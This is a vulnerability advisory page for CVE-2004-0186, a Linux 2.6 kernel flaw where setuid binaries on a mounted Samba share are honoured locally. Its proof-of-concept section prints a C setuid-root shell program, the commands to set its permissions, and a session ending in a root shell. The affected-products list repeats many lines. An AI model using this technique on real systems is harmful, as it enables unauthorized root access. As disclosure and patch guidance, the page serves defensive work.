Linux Kernel Samba Share Local Privilege Elevation Vulnerability

BID:9619

Info

Linux Kernel Samba Share Local Privilege Elevation Vulnerability

Bugtraq ID: 9619
Class: Access Validation Error
CVE: CVE-2004-0186
Remote: No
Local: Yes
Published: Feb 09 2004 12:00AM
Updated: Jul 12 2009 02:06AM
Credit: Discovery of this vulnerability has been credited to Martin Fiala <[email protected]>
Vulnerable: Samba Samba 2.2.8 a
+ Mandriva Linux Mandrake 9.2 amd64
 + Mandriva Linux Mandrake 9.2 amd64
 + Mandriva Linux Mandrake 9.2
+ Mandriva Linux Mandrake 9.2
+ S.u.S.E. Linux Personal 9.1
+ S.u.S.E. Linux Personal 9.0 x86_64
 + S.u.S.E. Linux Personal 9.0 x86_64
 + S.u.S.E. Linux Personal 9.0
+ S.u.S.E. Linux Personal 9.0
+ S.u.S.E. Linux Personal 8.2
+ S.u.S.E. Linux Personal 8.2
+ SuSE Linux 8.1
+ SuSE Linux 8.1
Samba Samba 2.2.7 a
+ MandrakeSoft Corporate Server 2.1 x86_64
 + MandrakeSoft Corporate Server 2.1 x86_64
 + MandrakeSoft Corporate Server 2.1
+ MandrakeSoft Corporate Server 2.1
+ MandrakeSoft Multi Network Firewall 2.0
+ MandrakeSoft Multi Network Firewall 2.0
+ Mandriva Linux Mandrake 9.1 ppc
 + Mandriva Linux Mandrake 9.1 ppc
 + Mandriva Linux Mandrake 9.1
+ Mandriva Linux Mandrake 9.1
+ Mandriva Linux Mandrake 9.0
+ Mandriva Linux Mandrake 9.0
+ Mandriva Linux Mandrake 8.2 ppc
 + Mandriva Linux Mandrake 8.2 ppc
 + Mandriva Linux Mandrake 8.2
+ Mandriva Linux Mandrake 8.2
+ Mandriva Linux Mandrake 8.1 ia64
 + Mandriva Linux Mandrake 8.1 ia64
 + Mandriva Linux Mandrake 8.1
+ Mandriva Linux Mandrake 8.1
+ Mandriva Linux Mandrake 8.0 ppc
 + Mandriva Linux Mandrake 8.0 ppc
 + Mandriva Linux Mandrake 8.0
+ Mandriva Linux Mandrake 8.0
+ OpenPKG OpenPKG 1.2
+ OpenPKG OpenPKG 1.2
+ OpenPKG OpenPKG 1.1
+ Redhat Linux 9.0 i386
 + Redhat Linux 9.0 i386
 + S.u.S.E. Linux Personal 8.2
+ S.u.S.E. Linux Personal 8.2
+ Slackware Linux 8.1
+ Slackware Linux 8.1
+ Turbolinux Appliance Server Hosting Edition 1.0
+ Turbolinux Appliance Server Hosting Edition 1.0
+ Turbolinux Appliance Server Workgroup Edition 1.0
+ Turbolinux Appliance Server Workgroup Edition 1.0
+ Turbolinux Home
+ Turbolinux Turbolinux Desktop 10.0
+ Turbolinux Turbolinux Desktop 10.0
+ Turbolinux Turbolinux Server 8.0
+ Turbolinux Turbolinux Server 8.0
+ Turbolinux Turbolinux Server 7.0
+ Turbolinux Turbolinux Server 7.0
+ Turbolinux Turbolinux Workstation 8.0
+ Turbolinux Turbolinux Workstation 8.0
+ Turbolinux Turbolinux Workstation 7.0
+ Turbolinux Turbolinux Workstation 7.0
Samba Samba 2.2.3 a
+ Debian Linux 3.0 sparc
 + Debian Linux 3.0 sparc
 + Debian Linux 3.0 s/390
 + Debian Linux 3.0 s/390
 + Debian Linux 3.0 ppc
 + Debian Linux 3.0 ppc
 + Debian Linux 3.0 mipsel
 + Debian Linux 3.0 mipsel
 + Debian Linux 3.0 mips
 + Debian Linux 3.0 mips
 + Debian Linux 3.0 m68k
 + Debian Linux 3.0 m68k
 + Debian Linux 3.0 ia-64
 + Debian Linux 3.0 ia-64
 + Debian Linux 3.0 ia-32
 + Debian Linux 3.0 ia-32
 + Debian Linux 3.0 hppa
 + Debian Linux 3.0 hppa
 + Debian Linux 3.0 arm
 + Debian Linux 3.0 arm
 + Debian Linux 3.0 alpha
 + Debian Linux 3.0 alpha
 + Debian Linux 3.0
+ Debian Linux 3.0
+ Mandriva Linux Mandrake 8.2 ppc
 + Mandriva Linux Mandrake 8.2 ppc
 + Mandriva Linux Mandrake 8.2
+ Mandriva Linux Mandrake 8.2
+ Redhat Linux 7.3 i686
 + Redhat Linux 7.3 i686
 + Redhat Linux 7.3 i386
 + Redhat Linux 7.3 i386
 + Redhat Linux 7.3
+ Redhat Linux 7.3
+ SuSE Linux 8.0 i386
 + SuSE Linux 8.0 i386
 + SuSE Linux 8.0
+ SuSE Linux 8.0
Samba Samba 2.2.3 a
+ Debian Linux 3.0 sparc
 + Debian Linux 3.0 s/390
 + Debian Linux 3.0 s/390
 + Debian Linux 3.0 ppc
 + Debian Linux 3.0 ppc
 + Debian Linux 3.0 mipsel
 + Debian Linux 3.0 mipsel
 + Debian Linux 3.0 mips
 + Debian Linux 3.0 mips
 + Debian Linux 3.0 m68k
 + Debian Linux 3.0 m68k
 + Debian Linux 3.0 ia-64
 + Debian Linux 3.0 ia-64
 + Debian Linux 3.0 ia-32
 + Debian Linux 3.0 ia-32
 + Debian Linux 3.0 hppa
 + Debian Linux 3.0 hppa
 + Debian Linux 3.0 arm
 + Debian Linux 3.0 arm
 + Debian Linux 3.0 alpha
 + Debian Linux 3.0 alpha
 + Debian Linux 3.0
+ Debian Linux 3.0
+ SuSE Linux 8.0
+ SuSE Linux 8.0
Mandriva Linux Mandrake 9.2 amd64
Mandriva Linux Mandrake 9.2
Mandriva Linux Mandrake 9.1 ppc
Mandriva Linux Mandrake 9.1
MandrakeSoft Multi Network Firewall 2.0
MandrakeSoft Corporate Server 2.1 x86_64
MandrakeSoft Corporate Server 2.1
Linux kernel 2.6.1 -rc2
Linux kernel 2.6.1 -rc1
Linux kernel 2.6 -test9-CVS
Linux kernel 2.6 -test9
Linux kernel 2.6 -test8
Linux kernel 2.6 -test7
Linux kernel 2.6 -test6
Linux kernel 2.6 -test5
Linux kernel 2.6 -test4
Linux kernel 2.6 -test3
Linux kernel 2.6 -test2
Linux kernel 2.6 -test11
Linux kernel 2.6 -test10
Linux kernel 2.6 -test1
Linux kernel 2.6
Gentoo Linux 1.4 _rc3
Gentoo Linux 1.4 _rc2
Gentoo Linux 1.4 _rc1
Gentoo Linux 1.4
Not Vulnerable:

Discussion

Linux Kernel Samba Share Local Privilege Elevation Vulnerability

A local privilege escalation vulnerability has been reported to affect the 2.6 Linux kernel.

The issue appears to exist due to a lack of sufficient sanity checks performed when executing a file that is hosted on a remote Samba share. An attacker may exploit this condition to gain elevated privileges, as the setuid/setgid bit of a remote file is honored on the local system.

Exploit / POC

Linux Kernel Samba Share Local Privilege Elevation Vulnerability

The following example has been supplied:
"share" - smb server
"slovakia" - smb client

misko@slovakia:~$ smbmount --version
Usage: mount.smbfs service mountpoint [-n] [-o options,...]
Version 3.0.1-Debian

misko@slovakia:~$ ls -l /usr/bin/smbmount
- - -rwxr-xr-x 1 root root 591756 2004-01-13 20:29 /usr/bin/smbmount
misko@slovakia:~$ ls -l /usr/bin/smbmnt
- - -rwsr-sr-x 1 root root 8088 2004-01-13 20:29 /usr/bin/smbmnt
^

Confirmed to be default on Debian and Mandrake.

share:/data/share# cat a.c
main()
{
setuid(0);
setgid(0);
system("/bin/bash");
}

share:/data/share# make a
cc a.c -o a
share:/data/share# chmod +s a
share:/data/share#

share:/etc/samba/smb.conf

[share]
path = /data/share
writable = no
locking = no
public = yes
guest ok = yes
comment = Share

share:/data/share# ls -l a
- - -rwsr-sr-x 1 root root 11716 Feb 8 12:39 a

misko@slovakia:~$ ls -l pokus/a
- - -rwsr-sr-x 1 root root 11716 2004-02-08 12:39 pokus/a
misko@slovakia:~$ pokus/a
root@slovakia:~# id
uid=0(root) gid=0(root) skupiny=1000(misko),0(root),29(audio),100(users),1034(mtr),1035(333)
root@slovakia:~#

Solution / Fix

Linux Kernel Samba Share Local Privilege Elevation Vulnerability

Solution:
Gentoo have released an advisory (GLSA 200404-21) and have made an updated eBuild available to address this issue. Gentoo have recommended that users run the following commands to merge the fixed eBuild:
# emerge sync
# emerge -pv ">=net-fs/samba-3.0.2a-r2"
# emerge ">=net-fs/samba-3.0.2a-r2"

Those using Samba's password database also need to run the following command:
# pdbedit --force-initialized-passwords

Debian has released an advisory (DSA 463-1) and fixes to address this issue. See the referenced advisory for links to fixed packages.

Mandrake has released an advisory MDKSA-2004:035 and fixes to address this issue. See the referenced advisory for links to fixed packages.

TurboLinux has released advisory TLSA-2004-25 to address this issue. Please see the attached advisory for details on obtaining and applying fixes.


Samba Samba 2.2.3 a

Samba Samba 2.2.3 a

Samba Samba 2.2.7 a

Samba Samba 2.2.8 a

References

Linux Kernel Samba Share Local Privilege Elevation Vulnerability

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report